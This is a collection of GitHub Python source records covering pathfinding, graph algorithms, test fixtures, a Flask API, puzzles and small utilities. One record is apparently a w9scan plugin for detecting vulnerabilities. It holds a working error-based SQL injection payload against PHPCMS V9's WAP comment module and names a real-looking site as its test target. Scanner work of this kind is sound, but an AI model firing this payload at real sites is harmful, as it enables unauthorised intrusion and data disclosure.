in_blob_obst2(possible_node[0], possible_node[1]):\n                    blank_image[possible_node[0] * 3:(int(possible_node[0]) + 1) * 3,\n                    possible_node[1] * 3:(possible_node[1] + 1) * 3] = (0, 0, 255)\n                if possible_node_string == goal_str:\n                    not_solved = False\n                    break\n    # result.write(blank_image)\n    cv2.imshow(\"bk\", blank_image)\n    # break\n    if cv2.waitKey(1) & 0xFF == ord('q'):\n        break\n\n    # ret, frame = cap.read() #returns ret and the frame\n\nVar = True\n\n# Initiating backtracking\n# creating a variable\nm = len(tree_list) - 1\nlist_of_path = []\n# Looping through to find the path\nwhile Var:\n\n    # Printing the path\n    # print(tree_list[m][1])\n\n    # Saving the path\n    list_of_path.append(tree_list[m][1])\n\n    # Accessing the index and getting the parent index\n    m = tree_list[m][0]\n\n    # If reached the initial state, change variable to false\n    # This will exit the loop\n    if m == 0:\n        list_of_path.append(tree_list[m][1])\n        Var = False\n    for i in range(len(list_of_path)):\n        from_x = int(list_of_path[i][0] * 3)\n        to_x = int((list_of_path[i][0] + 1) * 3)\n        from_y = int(list_of_path[i][1] * 3)\n        to_y = int((list_of_path[i][1] + 1) * 3)\n        blank_image[from_x:to_x, from_y:to_y] = (0, 255, 0)\n\nwhile True:\n    cv2.imshow(\"bk\", blank_image)\n    # result.write(blank_image)\n    # break\n    if cv2.waitKey(1) & 0xFF == ord('q'):\n        cv2.destroyAllWindows()\n        break\n# result.release()\n","repo_name":"mrugesh1999/ENPM661","sub_path":"Project2/Final.py","file_name":"Final.py","file_ext":"py","file_size_in_byte":12188,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"32622326711","text":"# ベルマンフォード法\n# 負の辺があっても動く。負の閉路の検出にも使用できる。\n# 計算量はO(|V| x |E|)。ただし、Vは頂点数、Eは辺数。\n\n# edges: list of edges like [(i, j, c)] : i: from, j: to, c: cost\n# N: number of nodes\n# s: start node\n\ndef shortest_path(edges, N, E, s):\n    INF = pow(10, 18)\n    # dist = [INF for _ in range(N)]\n    dist = [INF] * N\n    dist[s] = 0\n\n    for j in range(N):\n        update = False\n        # for i in range(E):\n        for e in edges:\n            u = e[0]\n            v = e[1]\n            c = e[2]\n\n            if dist[u] != INF and dist[v] > dist[u] + c:\n                dist[v] = dist[u] + c\n                # update = True    # 単に負閉路を検出するだけならこれでいい\n\n                # 頂点Nに関連する、負閉路があるかどうかであれば、このように書く\n                if v == N-1:\n                    update = True\n\n        if not update:\n            break\n\n        if j == N-1 and update:\n            # print('Negative cycle')\n            return False\n\n    return dist\n\n\n# https://atcoder.jp/contests/abc061/tasks/abc061_d\nN, M = map(int, input().split())\nedges = []\nfor _ in range(M):\n    a, b, c = map(int, input().split())\n    a -= 1\n    b -= 1\n    edges.append([a, b, -c])\n\ndist = shortest_path(edges, N, M, 0)\nif dist:\n    print(-dist[N-1])\nelse:\n    print('inf')\n","repo_name":"tamlog06/Atcoder-Beginner-Contest","sub_path":"Library/Graph/Bellman-Ford.py","file_name":"Bellman-Ford.py","file_ext":"py","file_size_in_byte":1404,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"32522630025","text":"\"\"\"Fixture definitions.\"\"\"\n\nimport os\nimport traceback\nfrom pathlib import Path\nfrom typing import Iterable\n\nimport pytest\nimport responses\nfrom click.testing import CliRunner\n\nfrom scriv.cli import cli as scriv_cli\n\nfrom .faker import FakeGit, FakeRunCommand\n\n\n@pytest.fixture()\ndef fake_run_command(mocker):\n    \"\"\"Replace gitinfo.run_command with a fake.\"\"\"\n    return FakeRunCommand(mocker)\n\n\n@pytest.fixture()\ndef fake_git(fake_run_command) -> FakeGit:\n    \"\"\"Get a FakeGit to use in tests.\"\"\"\n    return FakeGit(fake_run_command)\n\n\n@pytest.fixture()\ndef temp_dir(tmpdir) -> Iterable[Path]:\n    \"\"\"Make and change into the tmpdir directory, as a Path.\"\"\"\n    old_dir = os.getcwd()\n    tmpdir.chdir()\n    try:\n        yield Path(str(tmpdir))\n    finally:\n        os.chdir(old_dir)\n\n\n@pytest.fixture()\ndef cli_invoke(temp_dir: Path):\n    \"\"\"\n    Produce a function to invoke the Scriv cli with click.CliRunner.\n\n    The test will run in a temp directory.\n    \"\"\"\n\n    def invoke(command, expect_ok=True):\n        runner = CliRunner()\n        result = runner.invoke(scriv_cli, command)\n        print(result.output)\n        if result.exception:\n            traceback.print_exception(\n                None, result.exception, result.exception.__traceback__\n            )\n        if expect_ok:\n            assert result.exception is None\n            assert result.exit_code == 0\n        return result\n\n    return invoke\n\n\n@pytest.fixture()\ndef changelog_d(temp_dir: Path) -> Path:\n    \"\"\"Make a changelog.d directory, and return a Path() to it.\"\"\"\n    the_changelog_d = temp_dir / \"changelog.d\"\n    the_changelog_d.mkdir()\n    return the_changelog_d\n\n\n@pytest.fixture(autouse=True, name=\"responses\")\ndef no_http_requests():\n    \"\"\"Activate `responses` for all tests, so no real HTTP happens.\"\"\"\n    with responses.RequestsMock() as rsps:\n        yield rsps\n","repo_name":"controlpl4n3/scriv","sub_path":"tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":1855,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"16"}
+{"seq_id":"19225820056","text":"#paths across opperating system\nimport os\n\n#module for reading csv file\nimport csv\n\n# Initialize variables\nnum_rows = 0\ntotal_months = 0\ntotal_sum = 0\nAverage_change = 0\nprevious_month = 0\ntotal_change = 0\ngreatest_increase = 0\ngreatest_decrease = 0\n\n\ncsvpath = os.path.join('resources', 'budget_data.csv')\n\nwith open(csvpath) as csvfile:\n\n    # to specify delimeter\n    csvreader = csv.reader(csvfile, delimiter=',')\n   \n    #read header row first\n    csv_header = next(csvreader) \n    print(csv_header)\n    \n    #calculating months\n    for row in csvreader:\n        num_rows += 1\n    print(f'Total months: {num_rows}')\n    \n    # Task 3: Calculate Total profit and losses\n    csvfile.seek(0)  # Reset the file pointer to the beginning\n    next(csvreader)  # Skip the header row\n    for row in csvreader:\n        total_sum += float(row[1])\n    print(f\"Total: {total_sum}\")\n    \n    #Calculate Avg change in profits and losses\n    csvfile.seek(0)\n    next(csvreader) \n    previous_profit = 0\n    for row in csvreader:\n        current_profit = float(row[1])\n        if previous_profit !=0:\n            change_in_profit = current_profit - previous_profit\n            total_change += change_in_profit\n        previous_profit = current_profit\n    average_change = total_change / (num_rows - 1)\n    print(f'Average Change: {average_change: .2f}')\n    \n# Calculate changes in profit and keep track of greatest increase and decrease\n    csvfile.seek(0)\n    next(csvreader) \n    for row in csvreader:\n        current_profit = float(row[1])\n        if previous_profit != 0:\n            change_in_profit = current_profit - previous_profit\n            total_change += change_in_profit\n            if change_in_profit > greatest_increase:\n                greatest_increase = change_in_profit\n                greatest_increase_month = row[0]\n            elif change_in_profit < greatest_decrease:\n                greatest_decrease = change_in_profit\n                greatest_decrease_month = row[0]\n        previous_profit = current_profit\n    print(f\"Greatest Increase in Profits: {greatest_increase_month} (${greatest_increase})\")\n    print(f\"Greatest Decrease in Profits: {greatest_decrease_month} (${greatest_decrease})\")\n\n","repo_name":"delonlawrence/python-challenge","sub_path":"PyBank/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"72324026567","text":"# importing the dependencies:\nimport datetime as dt\nimport numpy as np\nimport pandas as pd\n# SQLAlchemy dependencies:\nimport sqlalchemy\nfrom sqlalchemy.ext.automap import automap_base\nfrom sqlalchemy.orm import Session\nfrom sqlalchemy import create_engine, func\n# Importing flask dependency:\nfrom flask import Flask, jsonify\n\n\n# Setting up the Database\n# setup the engine to access the date:\nengine = create_engine(\"sqlite:///hawaii.sqlite\")\n\n\nBase = automap_base()\n\nBase.prepare(engine, reflect=True)\n\n# Saving reference to each table in the database\n\nMeasurement = Base.classes.measurement\nStation = Base.classes.station\n\n# Creating the session link from Python to the database\n\nsession = Session(engine)\n\n\n# Creating a New Flask App Instance\n# instance is a general term in programming referring to a singular version of something.\n\napp = Flask(__name__)\n# here, the __name__ is a magic method that denotes the name of the current function. \n# can use the __name__ function if code is run from command line or important from another piece of code.\n\n# Creating the Flask Routes\n# First define the starting point called the route\n# use the following function:\n# The / indicates that we want to put our data at the root of our routes\n# The / is commonly known as the highest level of hierarchy in any computer system.\n\n@app.route('/')\n\ndef welcome():\n    return(\n        '''\n        Welcome to the Climate Analysis API!\n        Available Routes:\n        /api/v1.0/percipitation\n        /api/v1.0/stations\n        /api/v1.0/tobs\n        /api/v1.0/temp/start/end\n        ''') \n# Convention when creating rows is the /api/v1.0/ followed by the name of the route\n# This signals this is the first version of the app\n\n# Note that every time you create a new route, code should be aligned to left to avoid errors\n\n@app.route('/api/v1.0/percipitation')\n\ndef percipitation():\n    # This code will look very similar to climate_analysis.ipynb\n    prev_year = dt.date(2017, 8, 23) - dt.timedelta(365)\n    precipitation = session.query(Measurement.date, Measurement.prcp).\\\n        filter(Measurement.date >= prev_year).all()\n    # Creating a dict with date as key and prcp as value\n    # Also using the jsonify() function to convert dict to JSON file\n    # Recall that JSON files are good for cleaning, filtering, sorting, vis data\n    precip = {date: prcp for date, prcp in precipitation}\n    return jsonify(precip) \n\n# Creating the stations route\n\n@app.route('/api/v1.0/stations')\n\ndef stations():\n    # Creating the query to get stations \n    results = session.query(Station.station).all()\n    # Now using the np.ravel() function to unravel results into one dimensional array\n    # Then convert unraveled results to a list.\n    # Then jsonify\n    stations = list(np.ravel(results))\n    return jsonify(stations=stations)\n\n# Creating the Monthly Temperature Route\n\n@app.route('/api/v1.0/tobs')\n\ndef temp_month():\n    # Calculating the previous year\n    prev_year = dt.date(2017, 8, 23) - dt.timedelta(365)\n    # Query the primary station for all temp observations\n    results = session.query(Measurement.tobs).\\\n        filter(Measurement.station == 'USC00519281').\\\n        filter(Measurement.date >= prev_year).all()\n    temps = list(np.ravel(results))\n    return jsonify(temps=temps)\n\n# Creating the Statistics Route\n\n@app.route('/api/v1.0/temp/<start>')\n\n@app.route('/api/v1.0/temp/<start>/<end>')\n\ndef stats(start=None, end=None):\n    # When function is declared, create a query to select min, avg, and max temps from SQLite database\n    # Using the func class to populate a list\n    sel = [func.min(Measurement.tobs), func.avg(Measurement.tobs), func.max(Measurement.tobs)]\n    # Using if-not statement to determin the start and ending date\n    # Run a query using the constructed list\n    # unravel results and jsonify\n\n    if not end:\n        results = session.query(*sel).\\\n            filter(Measurement.date >= start).all()\n        temps = list (np.ravel(results))\n\n        return jsonify(temps)\n\n    results = session.query(*sel).\\\n        filter(Measurement.date >= start).\\\n        filter(Measurement.date <= end).all()\n    temps = list(np.ravel(results))\n    return jsonify(temps)\n\n# to run the app, use environment variable by putting export FLASK_APP=app.py\n# do this after navigating the directory where app.py is saved.","repo_name":"jwcomp4/surfs_up","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4327,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"74241199689","text":"from django.test import LiveServerTestCase\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions\nfrom selenium.webdriver.common.keys import Keys\n\n\nclass MainPageTestCase(LiveServerTestCase):\n\tfixtures = ['StationModel.json']\n\n\tdef setUp(self):\n\t\tself.selenium = webdriver.Firefox()\n\n\n\tdef tearDown(self):\n\t\tself.selenium.quit()\n\n\n\tdef test_schedule_view(self):\n\n\t\t# User opens main page\n\t\tself.selenium.get('%s%s' % (self.live_server_url, '/meeting/'))\n\n\t\t# User tries adding new appointment(name, description and date)\n\t\tself.selenium.find_element_by_partial_link_text('Suburban').click()\n\t\tself.selenium.implicitly_wait(1)\n\n\t\tfrom_station = 'Клавдиево'\n\t\tto_station = 'Святошин'\n\n\n\t\tfrom_input = self.selenium.find_element_by_id('id_from')\n\t\tfrom_input.send_keys(from_station)\n\t\tto_input = self.selenium.find_element_by_id('id_to')\n\t\tto_input.send_keys(to_station)\n\t\tfrom_input = self.selenium.find_element_by_id('id_from')\n\n\t\t\n\n","repo_name":"DimaWittmann/commute-together","sub_path":"commute_together/functional_tests/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"23833384049","text":"from tqdm import tqdm\nimport open3d as o3d\nimport numpy as np\nfrom lib.utils.util import npmat2euler\n\ndef evaluate_filterreg(aligner, data_loader):\n    rotations_ab = []\n    translations_ab = []\n    rotations_ab_pred = []\n    translations_ab_pred = []\n    eulers_ab = []\n    \n    for i, data in enumerate(tqdm(data_loader, total = len(data_loader))):\n\n        src, target, target_vertices, target_triangles, rotation_ab, translation_ab, rotation_ba, translation_ba, euler_ab, euler_ba = data\n        rotations_ab.append(rotation_ab)\n        translations_ab.append(translation_ab)\n        eulers_ab.append(euler_ab)\n        \n        src = src[0].T\n        target = target[0].T\n        target_vertices = target_vertices[0]\n        target_triangles  = target_triangles[0]\n\n        # target_mesh = o3d.geometry.TriangleMesh(vertices=o3d.utility.Vector3dVector(target_vertices), triangles=o3d.utility.Vector3iVector(target_triangles))\n\n        # tf_matrix = aligner.align_meshes((src, target_mesh))\n        # rotations_ab_pred.append(np.linalg.inv(tf_matrix[:3, :3]))\n        # translations_ab_pred.append(tf_matrix[:3, 3])\n        \n        rotations_ab_pred.append([[0,0,0], [0,0,0], [0,0,0]])\n        translations_ab_pred.append([[0,0,0]])\n\n        # pcd = o3d.geometry.PointCloud()\n\n        # points = np.concatenate(\n        #     (\n        #         src,\n        #         target,\n        #         (target @ rotation_ab[0]) + translation_ab[0],\n        #         (target @ np.linalg.inv(tf_matrix[:3, :3])) + tf_matrix[:3, 3],\n        #     ),\n        #     axis=0,\n        # )\n        # colors = np.concatenate(\n        #     (\n        #         np.repeat([[1, 1, 1]], 1024, axis=0), \n        #         np.repeat([[1, 0, 0]], 1024, axis=0), # red is head to be aligned\n        #         np.repeat([[0, 1, 0]], 1024, axis=0), # green gt\n        #         np.repeat([[0, 0, 1]], 1024, axis=0), # blue is pred\n        #     )\n        # )\n\n        # pcd.points = o3d.utility.Vector3dVector(points)\n        # pcd.colors = o3d.utility.Vector3dVector(colors)\n\n        # o3d.io.write_point_cloud(f\"test{i}.ply\", pcd)\n\n\n    rotations_ab = np.concatenate(rotations_ab, axis=0)\n    translations_ab = np.concatenate(translations_ab, axis=0)\n    \n    rotations_ab_pred = np.array(rotations_ab_pred)\n    translations_ab_pred = np.array(translations_ab_pred)\n    eulers_ab = np.concatenate(eulers_ab, axis=0)\n    \n    rotations_ab_pred_euler = npmat2euler(rotations_ab_pred)\n    r_mse_ab = np.mean((rotations_ab_pred_euler - np.degrees(eulers_ab))**2)\n    r_rmse_ab = np.sqrt(r_mse_ab)\n    r_mae_ab = np.mean(np.abs(rotations_ab_pred_euler - np.degrees(eulers_ab)))\n    t_mse_ab = np.mean((translations_ab - translations_ab_pred)**2)\n    t_rmse_ab = np.sqrt(t_mse_ab)\n    t_mae_ab = np.mean(np.abs(translations_ab - translations_ab_pred))\n\n    print(\n        f\"rot_MSE: {r_mse_ab}, rot_RMSE: {r_rmse_ab}, \\\n        rot_MAE: {r_mae_ab}, trans_MSE: {t_mse_ab}, trans_RMSE: {t_rmse_ab}, trans_MAE: {t_mae_ab}\"\n    )","repo_name":"wngTn/synthetic_dcp","sub_path":"lib/core/function_filterreg.py","file_name":"function_filterreg.py","file_ext":"py","file_size_in_byte":2999,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"16"}
+{"seq_id":"11201012052","text":"import stat\n\nfrom fuselage import error, platform, provider, resources\nfrom fuselage.changes import ShellCommand\n\n\nclass Link(provider.Provider):\n\n    policies = (resources.link.LinkAppliedPolicy,)\n\n    def _get_owner(self):\n        \"\"\"Return the uid for the resource owner, or None if no owner is\n        specified.\"\"\"\n        owner = self.resource.owner\n        if owner:\n            try:\n                return platform.getpwnam(owner).pw_uid\n            except KeyError:\n                raise error.InvalidUser()\n\n    def _get_group(self):\n        \"\"\"Return the gid for the resource group, or None if no group is\n        specified.\"\"\"\n        group = self.resource.group\n        if group:\n            try:\n                return platform.getgrnam(group).gr_gid\n            except KeyError:\n                raise error.InvalidGroup()\n\n    def _stat(self):\n        \"\"\"Extract stat information for the resource.\"\"\"\n        st = platform.lstat(self.resource.name)\n        uid = st.st_uid\n        gid = st.st_gid\n        mode = stat.S_IMODE(st.st_mode)\n        return uid, gid, mode\n\n    def apply(self):\n        changed = False\n        name = self.resource.name\n        to = self.resource.to\n        uid = None\n        gid = None\n        mode = None\n        isalink = False\n\n        if not platform.exists(to):\n            self.raise_or_log(\n                error.DanglingSymlink(\"Destination of symlink %r does not exist\" % to)\n            )\n\n        owner = self._get_owner()\n        group = self._get_group()\n\n        try:\n            linkto = platform.readlink(name)\n            isalink = True\n        except OSError:\n            isalink = False\n\n        if not isalink or linkto != to:\n            if platform.lexists(name):\n                self.change(ShellCommand([\"/bin/rm\", \"-rf\", self.resource.name]))\n\n            self.change(\n                ShellCommand([\"/bin/ln\", \"-s\", self.resource.to, self.resource.name])\n            )\n            changed = True\n\n        try:\n            linkto = platform.readlink(name)\n            isalink = True\n        except OSError:\n            isalink = False\n\n        if not isalink:\n            if not self.simulate:\n                raise error.OperationFailed(\"Did not create expected symbolic link\")\n            return changed\n\n        uid, gid, mode = self._stat()\n\n        if owner and owner != uid:\n            self.change(\n                ShellCommand(\n                    [\"/bin/chown\", \"-h\", self.resource.owner, self.resource.name]\n                )\n            )\n            changed = True\n\n        if group and group != gid:\n            self.change(\n                ShellCommand(\n                    [\"/bin/chgrp\", \"-h\", self.resource.group, self.resource.name]\n                )\n            )\n            changed = True\n\n        return changed\n\n\nclass RemoveLink(provider.Provider):\n\n    policies = (resources.link.LinkRemovedPolicy,)\n\n    def apply(self):\n        name = self.resource.name\n\n        if platform.lexists(name):\n            if not platform.islink(name):\n                raise error.InvalidProvider(\n                    f\"{self!r}: {name} exists and is not a link\"\n                )\n            self.change(ShellCommand([\"/bin/rm\", self.resource.name]))\n            return True\n        return False\n","repo_name":"yaybu/fuselage","sub_path":"fuselage/providers/link.py","file_name":"link.py","file_ext":"py","file_size_in_byte":3270,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"19142863145","text":"from random import randint\n\n# Given a dice which rolls from 1 to 5, simulate a uniform 7 sided dice!\n\n\ndef dice5():\n    return randint(1, 5)\n\n\ndef convert5to7():\n\n    # For constant re-roll purposes\n    while True:\n\n        # Roll the dice twice\n        roll_1 = dice5()\n        roll_2 = dice5()\n\n        # Convert the combination to the range 1 to 25\n        # range of 0-20 and range of 1-5\n        num = ((roll_1-1) * 5) + (roll_2)\n\n        # print 'The converted range number was:',num\n        # this number is arbitrary\n        if num > 21:\n            # re-roll if we are out of range\n            continue\n\n        return num % 7 + 1\n\n\nprint(convert5to7())\n","repo_name":"OliverIgnetik/Data-Structures-Algorithms-Python","sub_path":"random_interview_questions/seven_sided_dice.py","file_name":"seven_sided_dice.py","file_ext":"py","file_size_in_byte":663,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"8106266581","text":"import sys\nfrom collections import deque\n# input = sys.stdin.readline\n\n# [0, 1, 2, 3] : [오, 아래, 왼, 위]\ndx = [0, 1, 0, -1]\ndy = [1, 0, -1, 0]\nd = 0\n\nsnake = deque()\nsnake.append([1, 1]) # snake[0][0]이 snake_x, snake[0][1]이 snake_y\n# snake_x, snake_y = 1, 1 # 뱀의 현재 위치\n\nn = int(input().rstrip())\nboard = [[0]*(n+1) for _ in range(n+1)]\n\nk = int(input().rstrip())\nfor i in range(k):\n    x, y = map(int, input().rstrip().split())\n    board[x][y] = 1\n\nrotate = []\nl = int(input().rstrip())\nfor i in range(l):\n    x, c = input().rstrip().split()\n    x = int(x)\n    rotate.append([x, c])\n\nsecond = 0\nidx = 0\nwhile True:\n    # 이동할 곳\n    nx = snake[0][0] + dx[d]\n    ny = snake[0][1] + dy[d]\n    \n    # 벽이 아니고, 뱀의 일부도 아닌 경우 -> 이동 가능\n    if 1 <= nx <= n and 1 <= ny <= n and [nx, ny] not in snake:\n        # 사과인 경우 - 추가만 한다\n        if board[nx][ny] == 1:\n            snake.appendleft([nx, ny])\n            board[nx][ny] = 0 # 사과를 없애야 한다.\n        # 사과가 아닌 경우 - 머리 추가하고 꼬리 제거\n        elif board[nx][ny] == 0:\n            snake.appendleft([nx, ny])\n            snake.pop()\n    else:\n        break\n            \n        \n    # 이동 완료한 경우\n    second += 1\n    \n    # 방향 전환 이후 것이 있을 때. 아니면 indexError 나올 수 있다\n    if idx < len(rotate):\n        # 방향 전환할 때가 된 경우\n        if rotate[idx][0] == second:\n            # 반시계방향 회전\n            if rotate[idx][1] == 'L':\n                d = (d-1) % 4\n            # 시계방향 회전\n            else:\n                d = (d+1) % 4\n            idx += 1\n\nprint(second+1)\n\n\n    \n\n\n","repo_name":"micopes/Algorithm","sub_path":"알고리즘 - 파이썬/백준(acmicpc.net)/구현, 시뮬레이션/3190 뱀.py","file_name":"3190 뱀.py","file_ext":"py","file_size_in_byte":1723,"program_lang":"python","lang":"ko","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"16012136333","text":"n = int(input())\nl = list(map(int, input().split()))\nstack = []\nnl = list(range(n, 0, -1))\nans = []\nc, m, t = 0, 0, 0\nfor i in l:\n    stack.append(i)\n    m += 1\n    if i == nl[-1]:\n        c += 1\n        ans.append((1, m))\n        m = 0\n        while stack and stack[-1] == nl[-1]:\n            t += 1\n            stack.pop()\n            nl.pop()\n        c += 1\n        ans.append((2, t))\n        t = 0\nif stack:\n    print(0)\nelse:\n    print(c)\n    for j in ans:\n        print(*j)\n","repo_name":"NewSelin/tinkoff-students-2023","sub_path":"Lists, arrays, queues, stacks.../C.py","file_name":"C.py","file_ext":"py","file_size_in_byte":480,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"28222202346","text":"def bool_Less(a,b):\n\tif a < b:\n\t\treturn True \n\telse:\n\t\treturn False\n\ndef bool_Greater(a,b):\n\tif a > b:\n\t\treturn True\n\telse:\n\t\treturn False\n\ndef bool_Equal(a,b):\n\tif a == b:\n\t\treturn True\n\telse:\n\t\treturn False\n\ndef bool_Int(num):\n\tif str(type(num)) == \"<class 'int'>\":\n\t\treturn str(\"Int: \"+str(True))\n\n\telse:\n\t\treturn str(\"Int: \"+str(False))\n\ndef bool_Float(num):\n\tif str(type(num)) == \"<class 'float'>\":\n\t\treturn str(\"Float: \"+str(True))\n\telse:\n\t\treturn str(\"Float: \"+str(False)) \n\ndef bool_Str(string):\n\tif str(type(string)) == \"<class 'str'>\":\n\t\treturn str(\"Str: \"+str(True))\n\telse:\n\t\treturn str(\"Str: \"+str(False)) \n\ndef bool_Verify(bool):\n\tif str(type(bool)) == \"<class 'str'>\":\n\t\treturn str(\"Bool: \"+str(False))\n\n\telif str(type(bool)) == \"<class 'bool'>\":\n\t\treturn str(\"Bool: \"+str(True))\n\telse:\n\t\treturn str(\"Bool: \"+str(False)) \n\ndef bool_List_Verify(list):\n\tif str(type(list)) == \"<class 'list'>\":\n\t\treturn str(\"List: \"+str(True))\n\telse:\n\t\treturn str(\"List: \"+str(False)) \n\ndef bool_Set_Verify(set):\n\tif str(type(set)) == \"<class 'set'>\":\n\t\treturn str(\"Set: \"+str(True))\n\telse:\n\t\treturn str(\"Set: \"+str(False)) \n\ndef bool_Tuple_Verify(tuple):\n\tif str(type(tuple)) == \"<class 'tuple'>\":\n\t\treturn str(\"Tuple: \"+str(True))\n\telse:\n\t\treturn str(\"Tuple: \"+str(False)) \n\n\ndef bool_Dictionary_Verify(dictionary):\n\tif str(type(dictionary)) == \"<class 'dictionary'>\":\n\t\treturn str(\"Dictionary: \"+str(True))\n\telse:\n\t\treturn str(\"Dictionary: \"+str(False)) \n\ndef bool_Int_List(list):\n\tresult = True\n\tfor x in list:\n\t\tif str(x) != \"<class 'int'>\":\n\t\t\tresult = False\n\t\t\tbreak\n\treturn str(\"List Pure Int: \"+str(result))\n\ndef bool_Float_List(list):\n\tresult = True\n\tfor x in list:\n\t\tif str(x) != \"<class 'float'>\":\n\t\t\tresult = False\n\t\t\tbreak\n\treturn str(\"List Pure Float: \"+str(result))\n\ndef bool_Str_List(list):\n\tresult = True\n\tfor x in list:\n\t\tif str(x) != \"<class 'str'>\":\n\t\t\tresult = False\n\t\t\tbreak\n\treturn str(\"List Pure Str: \"+str(result))\n\ndef bool_Odd(num):\n\tif num % 2 != 0:\n\t\treturn str(\"Odd:\"+str(True))\n\telse:\n\t\treturn str(\"Odd:\"+str(False))\n\ndef bool_Even(num):\n\tif num % 2 == 0:\n\t\treturn str(\"Even\"+str(True))\n\telse:\n\t\treturn str(\"Even\"+str(False))\n\ndef bool_Right_Triangle(opposite,adjacent,hypotenuse):\n\thypotenuse = hypotenuse **2\n\tlegs = (opposite ** 2) + (adjacent ** 2)\n\tif legs == hypotenuse:\n\t\treturn str(\"Right Triangle: \"+str(True))\n\telse:\n\t\treturn str(\"Right Triangle: \"+str(False))\n\t\ndef bool_Acute_Triangle(opposite,adjacent,hypotenuse):\n\thypotenuse = hypotenuse **2\n\tlegs = (opposite ** 2) + (adjacent ** 2)\n\tif legs > hypotenuse:\n\t\treturn str(\"Acute Triangle: \"+str(True))\n\telse:\n\t\treturn str(\"Acute Triangle: \"+str(False))\n\ndef bool_Obtuse_Triangle(opposite,adjacent,hypotenuse):\n\thypotenuse = hypotenuse **2\n\tlegs = (opposite ** 2) + (adjacent ** 2)\n\tif legs < hypotenuse:\n\t\treturn str(\"Obtuse Triangle: \"+str(True))\n\telse:\n\t\treturn str(\"Obtuse Triangle: \"+str(False))\n\ndef bool_email_Verify(email):\n\n\tif str(\".com\") in email and str(\"@gmail\") in email and str(\"@yahoo.com\"):\n\t\tif str(\" \") in email:\n\t\t\treturn str(\"Email Valid: \"+str(False))\n\t\telse:\n\t\t\treturn str(\"Email Valid: \"+str(True))\n\telse:\n\t\treturn str(\"Email Valid: \"+str(False))\n\n\n\nprint(bool_Less(2,4))\nprint(bool_Greater(2,4))\nprint(bool_Equal(2,2))\nprint(bool_Int(45))\nprint(bool_Float(3.5))\nprint(bool_Str(\"Hi\"))\nprint(bool_Verify(True))\nprint(bool_List_Verify(tuple((1,2,3,4,5))))\nprint(bool_Tuple_Verify(tuple((1,2,3,4,5))))\nprint(bool_Set_Verify(set((1,2,3,4,5))))\nprint(bool_Dictionary_Verify(dict(num1= 2,num2=3)))\nprint(bool_Int_List(list((1,2.3,2))))\nprint(bool_Float_List(list((1.2,5,4.5,45))))\nprint(bool_Str_List(list((\"Hello\", 0,\"Hi\"))))\nprint(bool_Odd(3))\nprint(bool_Even(5))\nprint(bool_Right_Triangle(3,4,5))\nprint(bool_Acute_Triangle(5,6,10))\nprint(bool_Obtuse_Triangle(5,10,14))\nprint(bool_email_Verify(\"doradomiguel35@gmail.com\"))","repo_name":"doradomiguel35/python_basics","sub_path":"boolean.py","file_name":"boolean.py","file_ext":"py","file_size_in_byte":3831,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"8535090246","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#refer:http://www.wooyun.org/bugs/wooyun-2012-011818\n#PHPCMS V9 WAP模块注入漏洞\n\ndef assign(service,arg):\n    if service == \"phpcms\":\n        return True, arg\n\ndef audit(arg):\n\tpayload = \"index.php?m=wap&c=index&a=comment_list&commentid=content_12%2527%20or%20updatexml(1,concat(0x7e,(version())),0)%23-84-1\"\n\tcode, head, res, errcode,finalurl =  curl.curl(\"\\\"%s\\\"\" % (arg + payload))\n\n\tif code == 200:\n\t\tif \"MySQL Query\" in res:\n\t\t\tsecurity_hole('find sql injection: ' + arg+'index.php')\n\nif __name__ == \"__main__\":\n\tfrom dummy import *\n\taudit(assign('phpcms', 'http://9expo.gzdsw.com/')[1])","repo_name":"w-digital-scanner/w9scan","sub_path":"plugins/phpcms/491.py","file_name":"491.py","file_ext":"py","file_size_in_byte":644,"program_lang":"python","lang":"en","doc_type":"code","stars":1099,"dataset":"github-code","pt":"16"}
+{"seq_id":"11353524482","text":"def main():\n    plate = input(\"Plate: \")\n\n    if is_valid(plate):\n        print(\"Valid\")\n    else:\n        print(\"Invalid\")\n\n\ndef is_valid(s):\n    if not s.isalnum() or (len(s) < 2 or len(s) > 6):\n        return False\n    elif s.isalpha() or s[:2].isalpha() and s[-2:].isnumeric() and s[-2:][0] != \"0\":\n        return True\n    else:\n        return False\n\nif __name__ == \"__main__\":\n    main()","repo_name":"alextywoo/cs50p_Assignments","sub_path":"test_plates/plates.py","file_name":"plates.py","file_ext":"py","file_size_in_byte":392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
